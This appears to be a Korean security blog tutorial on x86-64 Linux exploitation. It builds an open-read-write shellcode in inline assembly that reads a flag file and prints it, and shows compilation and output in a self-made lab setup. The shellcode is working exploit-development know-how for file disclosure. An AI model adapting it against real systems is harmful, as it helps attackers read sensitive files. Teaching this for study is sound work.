목적
공격 대상이 되는 시스템의 파일을 유출해 내는 것입니다.
방법
아래는 linux 환경에서 진행한 것입니다.
0. 공격 대상이 될 파일 작성
실습을 위한 예시입니다.
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
1. orw 셸코드 작성
“/tmp/flag” 파일을 읽는 orw 셸코드를 작성해 보겠습니다.
orw 셸코드는
스켈레톤 코드 (C언어로 작성됨) + 셸코드 (어셈블리)
의 구조입니다.
스켈레톤 코드
__asm__(
".global run_sh\n" // C에서 run_sh에 접근 가능하도록 global로 설정
"run_sh:\n"
// 아래 어셈블리 코드는 예시이며, 각 line은 \n으로 구분되어야 함
"xor rdi, rdi\n"
"mov rax, 0x3c\n"
"syscall");
void run_sh();
int main() { run_sh(); }
셸코드
1. open("/tmp/flag", RD_ONLY, NULL)
① 0x616c662f706d742f67(= "/tmp/flag")를 stack에 두 번에 나눠 push.
push 0x67
mov rax, 0x616c662f706d742f
push rax
② rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; sys_open
③ 최종적으로 syscall
syscall ; open("/tmp/flag", RD_ONLY, NULL)
2. read(fd, buf, 0x30)
① rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp - 0x30 ; buf (0x30만큼 읽을 것)
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; sys_read
② 최종적으로 syscall
syscall ; read(fd, buf, 0x30)
3. write(1, buf, 0x30)
① rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정. rsi와 rdx는 그대로
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; sys_write
② 최종적으로 syscall
syscall ; write(fd, buf, 0x30)
합쳐서 완성된 orw 셸코드
orw.c
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
2. orw 셸코드 컴파일 및 실행
컴파일
gcc -o orw orw.c -masm=intel
실행
./orw
결과
flag{this_is_open_read_write_shellcode!}
※ 초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)
위 결과 뒤에 몇 개의 알 수 없는 글자들이 나타날 수 있는데,
이것은 우리의 실습과 상관 없이 스택에 기존에 쌓여있던 쓰레기 값(garbage data)입니다.
'IT > 시스템 보안' 카테고리의 다른 글
[Stack Buffer Overflow] Return Address Overwrite을 통한 실행 흐름 조작 (0) | 2024.03.01 |
---|---|
[Stack Buffer Overflow] 데이터 변조와 유출 (0) | 2024.02.29 |
[Shellcode] objdump을 이용한 byte code 추출 (0) | 2024.02.28 |
[Shellcode] execve (0) | 2024.02.28 |
[Stack Frame] 프로시저 호출 시의 스택 프레임 살펴보기 (0) | 2024.02.20 |